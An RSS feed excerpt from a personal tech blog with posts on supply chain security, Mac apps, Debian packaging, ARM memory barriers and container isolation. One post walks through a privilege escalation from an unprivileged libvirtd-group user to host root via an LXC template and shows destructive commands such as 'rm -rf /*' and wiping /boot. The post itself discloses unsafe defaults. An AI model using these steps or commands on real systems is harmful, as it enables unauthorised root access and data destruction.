&lt;p&gt;I’ll probably update this again at some point with corrections and more fun factoids that I learn about. Ciao.&lt;/p&gt;
</description>
        <pubDate>Thu, 12 Aug 2021 00:00:00 +0000</pubDate>
        <link>https://adrianlshaw.com/Etymology</link>
        <guid isPermaLink="true">https://adrianlshaw.com/Etymology</guid>
      </item>
    
      <item>
        <title>On Supply Chain Security</title>
        <description>&lt;p&gt;&lt;em&gt;Reminder: these are all personal opinions and are not affiliated with any employer&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Supply chain security has been a long standing problem within the computer industry. And hardware companies have always cared. Not only do they want to make sure that customers receive &lt;a href=&quot;https://www.pcworld.com/article/262325/your_pc_may_come_with_malware_pre_installed.html&quot;&gt;the genuine article&lt;/a&gt;, but they also want to make sure that their parts don’t appear in competitor products.&lt;/p&gt;

&lt;p&gt;It’s never been a sexy enough topic to reach high enough to the desks of CEOs. What it really needed was a big exciting cover story like the &lt;a href=&quot;https://www.bloomberg.com/news/features/2018-10-04/the-big-hack-how-china-used-a-tiny-chip-to-infiltrate-america-s-top-companies&quot;&gt;Supermicro BMC&lt;/a&gt; article from Bloomberg. It’s all the rage. Many who need to talk about supply chain security are now talking about it. Whether you believe the story was true or not is simply irrelevant - it’s something everybody in this industry should be concerned about.&lt;/p&gt;

&lt;h3 id=&quot;the-challenge&quot;&gt;The challenge&lt;/h3&gt;

&lt;p&gt;It still stands that supply chain security is an enormously complex issue, one that has very little to do with technical problems. It’s multi-faceted, but predominantly about business relationships. And any solution to these problems will be measured by the costs of altering established practices. If you’re competing on price with cheap consumer hardware then adding a dollar of operational costs per unit may simply put you out of the market altogether. If you trade cost for time spent on the factory line, you still have a problem, because time is money. The longer a product takes to assemble then the more money you have to spend on the factory.&lt;/p&gt;

&lt;p&gt;While I mentioned business relationships, it’s also about understanding what you want to protect and from who. Everybody has a different supply chain. They all use totally different procedures and are customised slowly over time to reach an optimum level of efficiency on the factory floor. Supply chains can be short or incredibly long, typically with multiple suppliers at each stage. Sometimes your product is even assembled on the same line as your competitor’s product. Due to these factors, there just isn’t a generic threat model that can universally be applied. If you try to make an abstract threat model you simply lose the level of detail that is necessary to reason about this problem. There are no real shortcuts here.&lt;/p&gt;

&lt;h3 id=&quot;solutions-with-incentives&quot;&gt;Solutions with incentives&lt;/h3&gt;

&lt;p&gt;Assuming business arrangements are dandy, I believe the most effective way to secure the supply chain is to build a &lt;em&gt;chain of trust&lt;/em&gt;. 
It’s a bit like a “zero-trust” network, you authenticate all software to ensure that they are from the expected suppliers and you authenticate peripherals like you would with typical network endpoints.
The “chain” aspect means you start with very little amount of trust and continually authenticate in a nested fashion. For instance, 
your hardware would authenticate the firmware, which then authenticates peripherals and subsystems, which then authenticate the OS, which then authenticates network endpoints, and so on.
It’s a tried and tested method in other domains.&lt;/p&gt;

&lt;p&gt;As you can imagine, there’s a lot of authentication going on.
In order to authenticate something you need to already have metadata, which would need to be provisioned at the previous stage. If this can be achieved then this can provide some assurance that final products are genuine. To solve the issue of cloned or missing components, classical inventory tracking should be used (not going to mention databases or blockchains here!). It all sounds rather simple but it really isn’t because the world of business is messy. You need all your suppliers to be on board with the idea. Like all instances of a chain of trust, you must implicitly trust the very first part of the chain. If the actual chain is of length one then it may be difficult to not trust your factory.&lt;/p&gt;

&lt;p&gt;Security alone usually isn’t enough of an incentive. There needs to be an industry wide incentive to make this all hang together consistently. If a solution helps solve a business problem as well a security problem, then it’s likely to get more serious attention from business leaders. One main incentive is to shift liability in case a problem occurs. More problems in a supplier component result in more support costs and even recalls, which ultimately reduces profits. Some manufacturers already have the technical means of doing this. This can be measured. Alternatively, some may argue that potential repetitional damage due to poor security can be a good business reason to provide better security practices. But that risk is hard to measure or predict numbers, and in my opinion, only effective once you’ve got a valuable brand.&lt;/p&gt;

&lt;h3 id=&quot;what-next&quot;&gt;What next?&lt;/h3&gt;

&lt;p&gt;Since I don’t think generic threat models are possible here, someone can and should make best practice guidelines. But best practices can often be blindly overruled by real world constraints. Like many other security problems, the costs have to be understood as early as possible so they can be factored into planning.&lt;/p&gt;

&lt;p&gt;There is hope:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;Big companies like Apple, Amazon and Google are increasingly building more parts in-house and reducing their dependency on external suppliers. They are big targets for attackers and possibly have the most to lose from attacks.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Component authentication standards are being worked on in &lt;a href=&quot;https://www.dmtf.org/content/dmtf-releases-security-protocol-and-data-model-spdm-architecture-work-progress&quot;&gt;DMTF&lt;/a&gt; and &lt;a href=&quot;http://pcisig.com/pcie%C2%AE-component-authentication&quot;&gt;PCIe&lt;/a&gt;. Apple have been &lt;a href=&quot;https://support.apple.com/en-us/HT204566&quot;&gt;trailblazers&lt;/a&gt; beforehand and I hope these emerging standards are well adopted.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;There are plenty of solutions out there that you can use, but none 
seem to provide a full solution, due to heterogeneous deployment
models. The most promising one seems to be &lt;a href=&quot;https://www.intel.co.uk/content/www/uk/en/internet-of-things/secure-device-onboard.html&quot;&gt;SDO&lt;/a&gt;.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;So, imagine you’re a manufacturer. Some relevant questions to ask:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;What do you need to protect from who and at which stage of the supply chain?&lt;/li&gt;
  &lt;li&gt;Who do you trust and what do you trust them not to do?&lt;/li&gt;
  &lt;li&gt;Does the factory have internet connectivity? And what if you need to change factory in the future?&lt;/li&gt;
  &lt;li&gt;What’s the cost of altering the production line workflow and does it meet your security objectives? Is the cost acceptable?&lt;/li&gt;
  &lt;li&gt;What’s the cost of a supply chain security failure and who pays for it?&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Let’s hope companies make the right trade offs (for a poor example, see the &lt;a href=&quot;https://www.bbc.co.uk/news/technology-41179214&quot;&gt;Superfish fiasco&lt;/a&gt;).&lt;/p&gt;

</description>
        <pubDate>Fri, 26 Jul 2019 00:00:00 +0000</pubDate>
        <link>https://adrianlshaw.com/On-Supply-Chain-Security</link>
        <guid isPermaLink="true">https://adrianlshaw.com/On-Supply-Chain-Security</guid>
      </item>
    
      <item>
        <title>Beautiful mac apps</title>
        <description>&lt;p&gt;An opinion piece.&lt;/p&gt;

&lt;p&gt;Let’s talk about Mac apps.&lt;/p&gt;

&lt;p&gt;The ones that come with the Mac truly have a great user experience.
Their designs patterns are mostly consistent.&lt;/p&gt;

&lt;p&gt;Finding great looking apps from third party developers is a far greater challenge.
The ones that you can find on the Mac App Store are often prohibitively expensive.
£19.99 for a text editor? The general supply/demand ratio on the Mac App Store 
simply isn’t the same as the App Store for iOS devices. So I’m not necessarily 
blaming developers.&lt;/p&gt;

&lt;p&gt;There are plenty of lists online that describe where to get various free applications
for the Mac. However, there isn’t a curated list about free applications that are truly
native to the Mac and feel great to use.&lt;/p&gt;

&lt;p&gt;To keep this list short I’m going to exclude:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;apps based on a framework like Electron or React :-) to me they are not native enough!&lt;/li&gt;
  &lt;li&gt;apps that are only free for a trial period&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;textual&quot;&gt;Textual&lt;/h2&gt;

&lt;p&gt;A beautiful IRC client. It’s open soruce and also a paid product. If you like it you should consider buying their app.
There are some helpful build instructions &lt;a href=&quot;https://blog.vortigaunt.net/how-to-compile-textual-in-2018/&quot;&gt;here&lt;/a&gt;
if you are interested in building it from scratch.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/adrianlshaw/adrianlshaw.github.com/raw/master/images/textual.png&quot; alt=&quot;Picture of Textual app&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;fork&quot;&gt;Fork&lt;/h2&gt;

&lt;p&gt;A beautiful Git client. SourceTree is also a nice alternative (but requires agreeing to a EULA).&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/adrianlshaw/adrianlshaw.github.com/raw/master/images/fork.png&quot; alt=&quot;Picture of Fork app&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;openemu&quot;&gt;OpenEmu&lt;/h2&gt;

&lt;p&gt;A beautiful frontend for various emulators of old video game consoles.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/adrianlshaw/adrianlshaw.github.com/master/images/openemu.png&quot; alt=&quot;OpenEmu picture&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;iina&quot;&gt;IINA&lt;/h2&gt;

&lt;p&gt;Quicktime is too limited with file formats.&lt;/p&gt;

&lt;h2 id=&quot;cryptomator&quot;&gt;Cryptomator&lt;/h2&gt;

&lt;p&gt;Nicer than CLI variants.&lt;/p&gt;

&lt;h2 id=&quot;sloth&quot;&gt;Sloth&lt;/h2&gt;

&lt;p&gt;Shows what files are open by which apps.&lt;/p&gt;

&lt;h2 id=&quot;vienna&quot;&gt;Vienna&lt;/h2&gt;

&lt;p&gt;An RSS reader&lt;/p&gt;
</description>
        <pubDate>Fri, 18 Jan 2019 00:00:00 +0000</pubDate>
        <link>https://adrianlshaw.com/Beautiful-Mac-Apps</link>
        <guid isPermaLink="true">https://adrianlshaw.com/Beautiful-Mac-Apps</guid>
      </item>
    
      <item>
        <title>Debian package example</title>
        <description>&lt;p&gt;Happy new year! It’s been around a year since I’ve made a post,
but by no means has it been a quiet one. This is a short post
that describes how to make a simple Debain package, and mainly 
acts as a reminder to me for those rare occasions where I do find
the need to make one.&lt;/p&gt;

&lt;p&gt;There are at least a few advantages to using a Debian package.
Firstly, a well made package can be installed without any understanding 
of how an application works. Secondly, a relatively stateless 
application install can be cleanly uninstalled with relative ease. 
Lastly, it’s a good way to declaratively describe the dependencies 
for the APT package manager; not all humans read the accompanied README files.&lt;/p&gt;

&lt;p&gt;However, I’ve always felt that making a Debian package required 
some understanding and experience of the APT system. For instance,
an introduction to Debian packaging is 86 slides[1]. The detail 
provided is superb, yet still seems overkill for my limited needs.
It doesn’t cleanly separate the minimal viable package from all the 
extras that can make a smart package, and extensive reading 
on the subject could quickly outweight the benefits. So this 
short post is a gross simplification of how to make a Debian package.
I recommend the slides and the full Debian documentation 
for those with further interest on the matter.&lt;/p&gt;

&lt;p&gt;A subdirectory titled DEBIAN is required, though it isn’t case-sensitive. 
Within here you include 
scripts that provide auxiliary functions during installation.
At the very least, you must include a file called &lt;strong&gt;control&lt;/strong&gt;. Here 
are some some example fields that should be included:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;Package: helloworld
Depends: bash
Version: 0.0.1
Section: blogpost
Architecture: all
Essential: no
Maintainer: adrianlshaw
Description: This is an example Debian package&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Once that is done. You need to replicate subdirectories that will be used
on your target system. For instance, if you intend to have your file
installed in &lt;strong&gt;/usr/local/bin&lt;/strong&gt; then you should recreate those folders
within your package root.&lt;/p&gt;

&lt;p&gt;Here is the final example layout of a bare minimum (uncompressed) package:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;tree
&lt;span class=&quot;nb&quot;&gt;.&lt;/span&gt;
├── DEBIAN
│   └── control
└── usr
    └── &lt;span class=&quot;nb&quot;&gt;local&lt;/span&gt;
        └── bin
            └── helloworld&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;You can optionally provide other scripts that can be invoked &lt;em&gt;before&lt;/em&gt; or &lt;em&gt;after&lt;/em&gt;
the files have been copied. These scripts, respectively known as 
&lt;strong&gt;preinst&lt;/strong&gt; and &lt;strong&gt;postinst&lt;/strong&gt; should be included in the DEBIAN directory.&lt;/p&gt;

&lt;p&gt;Finally:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;dpkg-deb &lt;span class=&quot;nt&quot;&gt;--build&lt;/span&gt; package&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Where &lt;strong&gt;package&lt;/strong&gt; is the name of the directory of your package contents.
It should go without saying that you should also provide documentation 
using man pages or HTML within your package, but that is outside the
scope of this post. Ta-ra!&lt;/p&gt;

&lt;p&gt;[1] “Debian Packaging Tutorial”, https://www.debian.org/doc/manuals/packaging-tutorial/packaging-tutorial.en.pdf&lt;/p&gt;
</description>
        <pubDate>Sun, 10 Jan 2016 00:00:00 +0000</pubDate>
        <link>https://adrianlshaw.com/Debian-package-example</link>
        <guid isPermaLink="true">https://adrianlshaw.com/Debian-package-example</guid>
      </item>
    
      <item>
        <title>Linux container madness</title>
        <description>&lt;p&gt;(…or How I Got Root in Less than 5 Minutes)&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;: This has nothing to do with Docker. My mistake - the concern is between LXC and Libvirt. Thanks to Wes Felter for pointing this out in the comments.&lt;/p&gt;

&lt;p&gt;I’m unsure if this is actually a vulnerability or just a usability problem with the normal behaviour of &lt;a href=&quot;https://linuxcontainers.org/&quot;&gt;LXC&lt;/a&gt;/&lt;a href=&quot;https://libvirt.org/&quot;&gt;Libvirt&lt;/a&gt;. Nevertheless, this seemingly harmless template file seems to cause &lt;strong&gt;A LOT&lt;/strong&gt; of worry, as it allowed me to elevate privileges on the host system from an ordinary user account. I imagine new users of containers, like myself, should be more concerned about how safe these defaults really are.&lt;/p&gt;

&lt;p&gt;If you want to try this out, then here is the preamble if you are running a Debian-based Linux. In this case I am running Ubuntu 14.04.1.&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;admin@host:~&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;sudo &lt;/span&gt;apt-get &lt;span class=&quot;nb&quot;&gt;install &lt;/span&gt;docker virt-manager&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Create an unprivileged user, but with access to the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;libvirtd&lt;/code&gt; group:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;admin@host:~&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;sudo &lt;/span&gt;useradd &lt;span class=&quot;nt&quot;&gt;-G&lt;/span&gt; libvirtd user 
admin@host:~&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;sudo &lt;/span&gt;passwd user &lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Now you should login as the ordinary user. Save the following XML template, which contains a name, a memory limit, console access and a shell. E.g. at /tmp/container.xml&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-xml&quot; data-lang=&quot;xml&quot;&gt;&lt;span class=&quot;nt&quot;&gt;&amp;lt;domain&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;type=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&apos;lxc&apos;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;
	&lt;span class=&quot;nt&quot;&gt;&amp;lt;name&amp;gt;&lt;/span&gt;test&lt;span class=&quot;nt&quot;&gt;&amp;lt;/name&amp;gt;&lt;/span&gt;
	&lt;span class=&quot;nt&quot;&gt;&amp;lt;memory&amp;gt;&lt;/span&gt;102400&lt;span class=&quot;nt&quot;&gt;&amp;lt;/memory&amp;gt;&lt;/span&gt;
	&lt;span class=&quot;nt&quot;&gt;&amp;lt;os&amp;gt;&lt;/span&gt;
		&lt;span class=&quot;nt&quot;&gt;&amp;lt;type&amp;gt;&lt;/span&gt;exe&lt;span class=&quot;nt&quot;&gt;&amp;lt;/type&amp;gt;&lt;/span&gt;
		&lt;span class=&quot;nt&quot;&gt;&amp;lt;init&amp;gt;&lt;/span&gt;/bin/sh&lt;span class=&quot;nt&quot;&gt;&amp;lt;/init&amp;gt;&lt;/span&gt;
	&lt;span class=&quot;nt&quot;&gt;&amp;lt;/os&amp;gt;&lt;/span&gt;
	&lt;span class=&quot;nt&quot;&gt;&amp;lt;devices&amp;gt;&lt;/span&gt;
		&lt;span class=&quot;nt&quot;&gt;&amp;lt;console&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;type=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&apos;pty&apos;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;/&amp;gt;&lt;/span&gt;
	&lt;span class=&quot;nt&quot;&gt;&amp;lt;/devices&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;/domain&amp;gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Import the template into Libvirt:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;user@host:~&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;virsh define container.xml&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Start the container. Make sure you have the Libvirt environment variable exported to work with LXC (e.g. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;LIBVIRT_DEFAULT_URI=lxc:///&lt;/code&gt;), such that Libvirt doesn’t go looking for Xen or KVM.&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;user@host:~&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;export &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;LIBVIRT_DEFAULT_URI&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;lxc:///
user@host:~&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;virsh start &lt;span class=&quot;nb&quot;&gt;test
&lt;/span&gt;user@host:~&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;virsh console &lt;span class=&quot;nb&quot;&gt;test&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;And now try to run the &lt;strong&gt;bash&lt;/strong&gt; shell:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;  Connected to domain &lt;span class=&quot;nb&quot;&gt;test
  &lt;/span&gt;Escape character is ^]
  
&lt;span class=&quot;c&quot;&gt;# bash&lt;/span&gt;
  bash: &lt;span class=&quot;nb&quot;&gt;groups&lt;/span&gt;: &lt;span class=&quot;nb&quot;&gt;command &lt;/span&gt;not found
  /bin/lesspipe: 1: /bin/lesspipe: &lt;span class=&quot;nb&quot;&gt;basename&lt;/span&gt;: not found
  /bin/lesspipe: 1: /bin/lesspipe: &lt;span class=&quot;nb&quot;&gt;dirname&lt;/span&gt;: not found
  /bin/lesspipe: 295: &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;: &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;: unexpected operator
  Command &lt;span class=&quot;s1&quot;&gt;&apos;dircolors&apos;&lt;/span&gt; is available &lt;span class=&quot;k&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;/usr/bin/dircolors&apos;&lt;/span&gt;
  The &lt;span class=&quot;nb&quot;&gt;command &lt;/span&gt;could not be located because &lt;span class=&quot;s1&quot;&gt;&apos;/usr/bin&apos;&lt;/span&gt; is not included &lt;span class=&quot;k&quot;&gt;in &lt;/span&gt;the PATH environment variable.
  &lt;span class=&quot;nb&quot;&gt;dircolors&lt;/span&gt;: &lt;span class=&quot;nb&quot;&gt;command &lt;/span&gt;not found
root@host:/# &lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Huh? You now have root on the host. Without any prompt for a superuser password. 
What kind of messed up world is this? I can read/write to any file on the host:&lt;/p&gt;

&lt;p&gt;Provide devastation:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;root@host:/# &lt;span class=&quot;nb&quot;&gt;rm&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-rf&lt;/span&gt; /&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Or alternatively just cause a bit of downtime:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;root@host:/# &lt;span class=&quot;nb&quot;&gt;rm&lt;/span&gt; /boot/&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; reboot&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;You can access a lot of the system programs in /bin, but it’s trivial to add yourself to the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sudoers&lt;/code&gt; group instead. 
Is it possible to be careful with LXC? It doesn’t seem safe for mortals and is hardly encouraging. Like what Dan Walsh said in a recent article, it seems that “containers do not contain”. At least not without a lot of experience and carefully crafted configs. It would be a shame if such obscure semantics will let down the overall usability of the platform.&lt;/p&gt;

&lt;p&gt;Thoughts are welcomed. Especially from LXC magicians - what are the semantics behind this configuration file? Privileges by default? My user had no superuser access…I expect them to remain that way.&lt;/p&gt;

</description>
        <pubDate>Fri, 09 Jan 2015 00:00:00 +0000</pubDate>
        <link>https://adrianlshaw.com/Docker-Container-Madness</link>
        <guid isPermaLink="true">https://adrianlshaw.com/Docker-Container-Madness</guid>
      </item>
    
      <item>
        <title>Undocumented shared libraries</title>
        <description>&lt;p&gt;Typically I find myself working with some really awkward, undocumented open source libraries. 
Sometimes you don’t know there’s a static or dynamic library available until you find an option in &lt;strong&gt;configure&lt;/strong&gt;.
Thanks to the authors for A) not letting me know in the README about this, and B) providing no information about the exported symbols.&lt;/p&gt;

&lt;p&gt;Rest assured, there is another way. I’m making a useful note here so I won’t forget and for readers to enjoy.
Exported symbols can be seen thanks to the GNU nm tool.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;  nm -D /usr/local/lib/&amp;lt;your_library&amp;gt;.so | grep T | less
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Now you just need to figure out which header files to use.&lt;/p&gt;
</description>
        <pubDate>Thu, 23 Oct 2014 00:00:00 +0000</pubDate>
        <link>https://adrianlshaw.com/Undocumented-Shared-Libraries</link>
        <guid isPermaLink="true">https://adrianlshaw.com/Undocumented-Shared-Libraries</guid>
      </item>
    
      <item>
        <title>ARM memory barriers</title>
        <description>&lt;p&gt;Unlike on certain x86 memory models, the latest ARM processors (at least v6 onwards) do not provide any guarantees for order of writes
to memory. At first that may sound a little disconcerting, but by not providing such guarantees certain interesting 
optimisations can be made when it comes to power consumption. In this scenario more opportunities are presented for 
optimising the pipeline model. However, to prevent potentially abnormal program behaviour that
can occur during out-of-order operations, the modern ARM architectures provide &lt;em&gt;barrier instructions&lt;/em&gt; that allow the programmer
to enforce points in code where stricter ordering requirements are necessary. Anything before the memory barrier must be 
commited. Polarising this, the guarantees offered by the x86 memory model include not reorderingloads with other loads, 
not remixing stores with other stores, and the same for stores and older loads. Today my eyes have opened a little wider.&lt;/p&gt;
</description>
        <pubDate>Thu, 07 Aug 2014 00:00:00 +0000</pubDate>
        <link>https://adrianlshaw.com/ARM-memory-barriers</link>
        <guid isPermaLink="true">https://adrianlshaw.com/ARM-memory-barriers</guid>
      </item>
    
      <item>
        <title>Docker breakout fun</title>
        <description>&lt;p&gt;Another &lt;a href=&quot;http://stealth.openwall.net/xSports/shocker.c&quot;&gt;stern&lt;/a&gt; reminder that these popular lightweight virtualisation engines 
provide very minimal and &lt;em&gt;brittle&lt;/em&gt; isolation. Quite an amusing hack! Docker seems like a great way to ship and package both 
environments and code, without the need for a full VM. Just think twice before using it for security critical containerisation.&lt;/p&gt;
</description>
        <pubDate>Wed, 06 Aug 2014 00:00:00 +0000</pubDate>
        <link>https://adrianlshaw.com/Docker-fun</link>
        <guid isPermaLink="true">https://adrianlshaw.com/Docker-fun</guid>
      </item>
    
  </channel>
</rss>